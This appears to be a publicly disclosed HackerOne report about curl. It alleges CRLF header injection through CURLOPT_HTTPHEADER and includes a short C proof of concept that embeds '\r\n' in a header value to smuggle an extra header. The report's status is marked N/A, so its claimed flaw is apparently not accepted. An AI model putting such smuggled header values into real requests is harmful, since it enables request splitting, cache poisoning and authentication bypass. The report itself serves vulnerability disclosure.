HexBrain

curl · Report #3741744

CRLF Injection via Custom HTTP Headers

N/Astatus
20upvotes
11 Jun 2026disclosed

How it was found

Summary:

libcurl writes user-supplied custom headers directly into the HTTP request buffer without stripping \r\n characters. The raw input pointer origp in Curl_add_custom_headers() (lib/http.c) is serialized verbatim into the outgoing request using curlx_dyn_addf(req, "%s\r\n", origp) instead of using the already-parsed, newline-safe name and val components. This allows an attacker who can influence a header value passed via CURLOPT_HTTPHEADER to inject arbitrary HTTP headers.

Steps To Reproduce

  1. Build a simple C program or use any language binding (PHP, Python, etc.)

  2. Pass a header string containing an embedded \r\n via CURLOPT_HTTPHEADER:

‘ #include <curl/curl.h>

int main(void) { CURL *curl = curl_easy_init(); struct curl_slist *headers = NULL;

// Simulates attacker-controlled input in a header value
headers = curl_slist_append(headers,
    "X-Custom: legitimate\r\nInjected-Header: evil-value");

curl_easy_setopt(curl, CURLOPT_URL, "http://httpbin.org/get");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_perform(curl);

curl_slist_free_all(headers);
curl_easy_cleanup(curl);
return 0;

}’

  1. Capture the outgoing request with Wireshark or a netcat listener (nc -l 8080)

  2. Observe that Injected-Header: evil-value appears as a separate header in the raw Http request

Expected Result: libcurl should reject or strip \r\n from header strings, or return an error when such characters are detected

Actual Result: The injected content appears as a fully formed separate HTTP header on the wire.

Impact

Impacts:

An application that passes any user-influenced data into CURLOPT_HTTPHEADER without pre-sanitizing \r\n is vulnerable to header injection, request splitting, authentication bypass, and cache poisoning.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original